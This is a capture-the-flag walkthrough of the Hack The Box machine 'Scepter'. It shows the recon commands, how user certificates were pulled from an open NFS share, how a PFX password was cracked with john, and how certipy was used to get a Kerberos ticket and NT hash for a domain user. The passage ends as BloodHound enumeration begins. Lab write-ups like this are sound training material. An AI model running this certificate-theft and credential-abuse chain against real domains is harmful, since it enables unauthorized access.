Windows

HTB Write-Up: Scepter

1337 Sheets
1337 Sheets
·
HTB Write-Up: Scepter

Difficulty: Hard
OS: Windows
Points: 40
Date: 2025-04-21

🔍 Reconnaissance

🔎 Nmap Scan

I started by running an initial Nmap scan:

nmap -sV -sC -v -oN scan 10.xx.xx.xx

Results:

  • The host is up with ~140ms latency.

  • Several important ports are open, notably:

    • 53/tcp - DNS (Simple DNS Plus)

    • 88/tcp - Kerberos

    • 111/tcp - rpcbind

    • 135/tcp - MS RPC

    • 139/tcp - NetBIOS-SSN

    • 389/tcp - LDAP

    • 445/tcp - Microsoft-DS (SMB)

    • 464/tcp - kpasswd5

    • 593/tcp - RPC over HTTP

    • 636/tcp - LDAPS

    • 2049/tcp - NFS (mountd)

    • 3268/tcp - Global Catalog LDAP

    • 3269/tcp - Global Catalog LDAPS

  • SSL certificates reveal the hostname: dc01.scepter.htb

  • SMB signing is enabled and required, potentially restricting relay attacks.

The server appears to be a Windows Domain Controller based on services and naming.

🧰 Enum4linux

Next, I used enum4linux-ng to enumerate more information:

enum4linux-ng -A 10.xx.xx.xx

Key Findings:

  • LDAP and SMB are accessible.

  • SMB dialect supports SMB 2.0+ (SMB1 is disabled).

  • Null sessions are allowed over SMB.

  • Domain Name: SCEPTER

  • Domain SID: S-1-5-21-74879546-916818434-740295365

  • OS Version detected: Windows 10 / Server 2016/2019 (Build 17763)

Unfortunately, most user and group enumeration attempts returned STATUS_ACCESS_DENIED.

📂 NFS Enumeration

Port 2049/tcp (NFS) caught my attention. I checked the available mounts:

showmount -e 10.xx.xx.xx

Results:

Export list for 10.xx.xx.xx:
/helpdesk (everyone)

There’s a publicly accessible /helpdesk share exposed via NFS.
This looks like a potential foothold!

📂 NFS Mount & File Discovery

We identified an NFS share /helpdesk earlier. Let's mount it on our Kali machine:

mkdir /tmp/helpdesk-nfs
sudo mount -t nfs 10.xx.xx.xx:/helpdesk /tmp/helpdesk-nfs
sudo ls -la /tmp/helpdesk-nfs

Contents of the mounted share:

total 33
drwx------  2 nobody nogroup    64 Nov  1 22:02 .
drwxrwxrwt 20 root   root    12288 Apr 21 06:51 ..
-rwx------  1 nobody nogroup  2484 Nov  1 22:01 baker.crt
-rwx------  1 nobody nogroup  2029 Nov  1 22:01 baker.key
-rwx------  1 nobody nogroup  3315 Nov  1 22:01 clark.pfx
-rwx------  1 nobody nogroup  3315 Nov  1 22:01 lewis.pfx
-rwx------  1 nobody nogroup  3315 Nov  1 22:02 scott.pfx

We found several .pfx and certificate/key files — time to crack them.

🔑 Cracking PFX Files

We attempt to crack the lewis.pfx file using pfx2john and john:

pfx2john lewis.pfx | tee -a lewishash
john --wordlist=/usr/share/wordlists/rockyou.txt lewishash


newpassword (lewis.pfx)

However, when attempting to authenticate using Lewis's credentials, we encountered a locked account error:

[*] Using principal: e.lewis@scepter.htb 
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED

🔧 Crafting a New PFX for Baker

Given that Baker’s .crt and .key were available, I manually created a new .pfx file:

openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt -passout pass:newpassword

I then set wide-open permissions and used certipy to authenticate:

chmod 777 baker.pfx
certipy auth -pfx baker.pfx -dc-ip 10.xx.xx.xx
[*] Using principal: d.baker@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': HASH:HASH

Success! 🎉
We obtained a TGT and NTLM hash for d.baker:

**Note: If you encounter a clock skew error, fix your system time with:

sudo ntpdate 10.xx.xx.xx

🧠 BloodHound Enumeration Using bloodhound-python, we dumped the domain information: